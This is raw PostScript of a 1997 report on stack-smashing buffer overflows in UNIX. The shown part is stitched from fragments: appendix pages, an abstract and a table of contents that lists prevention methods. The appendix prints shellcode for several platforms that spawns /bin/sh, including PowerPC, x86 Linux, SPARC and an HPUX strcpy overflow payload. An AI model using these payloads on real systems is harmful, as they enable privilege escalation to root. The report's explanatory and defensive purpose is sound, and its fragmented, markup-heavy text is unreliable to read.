-0.400 0 (a)A -0.300 0 (r)A 5.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 4.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S -0.400 0 (e)A 5.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A ; LH savelevel1 restore pagesave restore (%%[ Page: 30 ]%%) = %%PageTrailer %%Page: 31 31 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (31)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.200 0 (t)A (h)S -0.400 0 (a)A 21.800 0 32 0.200 0 (t )D -0.400 0 (a)A 22.000 0 32 (n ov)W -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 22.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 21.800 0 32 0.200 0 (it )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 23.000 0 32 (d b)W 23.400 0 32 -0.400 0 (e c)D (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (e)A 23.000 0 32 (d )W -0.300 0 (f)A (o)S 23.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (n)S 26.000 0 32 -3.000 0 (y )D (on)S 23.400 0 32 -0.400 0 (e )D (o)S 23.300 0 32 -0.300 0 (r )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 23.300 0 32 -0.300 0 (r )D (o)S 23.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 23.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M -0.097 0 (vulnerabilities can be defeated.)A ; : 522 5602 2880 94 rc 0 0 0 sco F2_83 Ji 612 5602 M 0.250 0 ( )A ; : 1152 5602 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5602 M 0.250 0 ( )A ; 612 5655 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5702 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 646 5705 M 0.211 0 ( POSIX.1e \(formerly POSIX.6\); http://csrc.ncsl.nist.gov/nistpubs/800-7/node203.html)A ; LH savelevel1 restore pagesave restore (%%[ Page: 31 ]%%) = %%PageTrailer %%Page: 32 32 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1254 M -0.200 0 (0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1325 M -0.200 0 (0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1396 M -0.200 0 (0x7c0903a6 , 0x4e800420, 0x0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1467 M -0.200 0 (};)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1609 M -0.200 0 (/* disassembly)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1680 M -0.200 0 (7c0802a6 mfspr r0,LR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1751 M -0.200 0 (9421fbb0 stu SP,-1104\(SP\) --get stack)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1822 M -0.200 0 (90010458 st r0,1112\(SP\))A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1893 M -0.200 0 (3c60f019 cau r3,r0,0xf019 --CTR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 1964 M -0.200 0 (60632c48 lis r3,r3,11336 --CTR)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 2035 M -0.200 0 (90610440 st r3,1088\(SP\))A ; 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: 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 3947 M -0.200 0 ( movb $0xb,%al)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4018 M -0.200 0 ( movl %esi,%ebx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4089 M -0.200 0 ( leal 0x8\(%esi\),%ecx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4160 M -0.200 0 ( leal 0xc\(%esi\),%edx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4231 M -0.200 0 ( int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4302 M -0.200 0 ( xorl %ebx,%ebx)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4373 M -0.200 0 ( movl %ebx,%eax)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4444 M -0.200 0 ( inc %eax)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4515 M -0.200 0 ( int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4586 M -0.200 0 ( call -0x24)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 4657 M -0.200 0 ( .string \\"/bin/sh\\")A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 4804 M 0.138 0 (SPARC/Solaris)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 912 4936 M -0.200 0 (sethi 0xbd89a, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5007 M -0.200 0 ( or %l6, 0x16e, %l6)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5078 M -0.200 0 ( sethi 0xbdcda, %l7)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5149 M -0.200 0 ( and %sp, %sp, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5220 M -0.200 0 ( add %sp, 8, %o1)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5291 M -0.200 0 ( xor %o2, %o2, %o2)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5362 M -0.200 0 ( add %sp, 16, %sp)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5433 M -0.200 0 ( std %l6, [%sp - 16])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5504 M -0.200 0 ( st %sp, [%sp - 8])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5575 M -0.200 0 ( st %g0, [%sp - 4])A ; : 0 0 4883 6391 rc 0 0 0 sco F5_67 Ji 612 5646 M -0.200 0 ( mov 0x3b, %g1)A ; LH savelevel1 restore pagesave restore (%%[ Page: 32 ]%%) = %%PageTrailer %%Page: 33 33 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (33)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 612 500 M -0.200 0 ( ta 8)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 571 M -0.200 0 ( xor %o7, %o7, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 642 M -0.200 0 ( mov 1, %g1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 713 M -0.200 0 ( ta 8)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 860 M 0.022 0 (SPARC/SunOS)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1915 M -0.200 0 ( xor %o7, %o7, %o0)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 1986 M -0.200 0 ( mov 1, %g1)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2057 M -0.200 0 ( ta %l5 + 1)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 2204 M -0.369 0 (HPUX)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2336 M -0.200 0 (strcpy\(buf,"\\x41\\x41\\x34\\x01\\x01\\x02\\x08\\x22\\x04\\x01\\x60\\x20\\x02\\xa6\\x60\\x20\\x02)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2407 M -0.200 0 (\\xac\\xb4\\x3a\\x02\\x98\\x34\\x16\\x01\\x76\\x34\\x01\\x02\\x76\\x08\\x36\\x02\\x16\\x08\\x21\\x02)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2478 M -0.200 0 (\\x80\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\\x08\\x21\\x02\\x80\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2549 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2620 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2691 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2762 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2833 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2904 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 2975 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3046 M -0.200 0 (\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x2e\\x2d)A ; : 0 0 4883 6391 rc 0 0 0 sco F4_67 Ji 612 3117 M -0.200 0 (\\x69\\x2e\\x44\\x44\\x44\\x44\\x44\\x7b\\x03\\x30\\x1b"\);)A ; LH savelevel1 restore pagesave restore (%%[ Page: 33 ]%%) = %%PageTrailer %%Page: 34 34 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (34)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 1327 505 M 0.124 0 (Appendix B - SUID root programs by distribution)A ; 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n 7122 4621 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 4621 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4428 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2218 4428 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2965 4428 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3162 4428 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 4428 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4028 4428 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4328 4428 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4590 4428 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5748 4428 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6131 4428 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 4428 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6980 4428 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 4428 M (gain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4235 M (unrestricted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 4235 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2575 4235 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3313 4235 M (Common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3996 4235 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4188 4235 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4621 4235 M (high ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4979 4235 M (profile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5486 4235 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5965 4235 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 4235 M (incidents, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 4235 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4042 M (report ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1659 4042 M (analyzes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2288 4042 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2630 4042 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3028 4042 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3610 4042 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3870 4042 M (constructed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4735 4042 M (why ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5077 4042 M (they ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5419 4042 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5817 4042 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 4042 M (what ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 4042 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6779 4042 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6992 4042 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4042 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3849 M (prevent the problem.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1200 2427 M (Copyright \323) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1761 2427 M ( 1997 Smith, Distribution and Reproduction shall remain free of charge) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 2 2 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (Table of Contents) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9355 M (1. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9355 M (Introduction\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9355 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9047 M (2. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9047 M (Terms\ \205\ \205\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9047 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8739 M (2.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8431 M (Fandango on Core\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\2052) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8123 M (2.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7815 M (Overrun Screw\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7815 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7507 M (2.3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7199 M (Smashing, Trashing, Scribbling the Stack\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7199 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6891 M (2.4 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 6583 M (Aliasing/Stale/Dangling Pointer Bug\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 6583 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6275 M (3. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 6275 M (Stack Smashing Publicity\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 6275 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5967 M (3.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 5659 M (Security Professionals\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 5659 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5351 M (3.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 5043 M (Underground Community\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 5043 M (6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4735 M (4. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4735 M (UNIX Filesystem Permissions\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4735 M (7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4427 M (5. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4427 M (UNIX and the C Programming Language\205\205\205\205\205\205\205\205\205\205\205.\ .) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4427 M (8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4119 M (6. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4119 M (Tools used for testing\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4119 M (9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3811 M (7. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3811 M (UNIX Processes and the Stack\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3811 M (11) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3503 M (7.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3503 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 3195 M (x86 Implementation under the Linux\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3195 M (12) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2887 M (8. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2887 M (Buffer Overflows\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 2887 M (14) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2579 M (9. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2579 M (Shell Code\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 2579 M (16) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2271 M (9.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 1963 M (Creative Stack Smashing\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1963 M (18) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1655 M (10. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1655 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 1347 M (root programs by distribution\ \205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1347 M (19) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 3 3 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (11. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9823 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9515 M (Smashing Prevention\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9515 M (19) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9207 M (11.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8899 M (Program Modification\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 8899 M (20) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8591 M (11.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8283 M (Compiler Modifications\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 8283 M (24) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7975 M (11.3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7667 M (CPU/OS Kernel Stack Execution Privilege\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7667 M (26) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7359 M (12. Conclusion\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7359 M (29) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 4 4 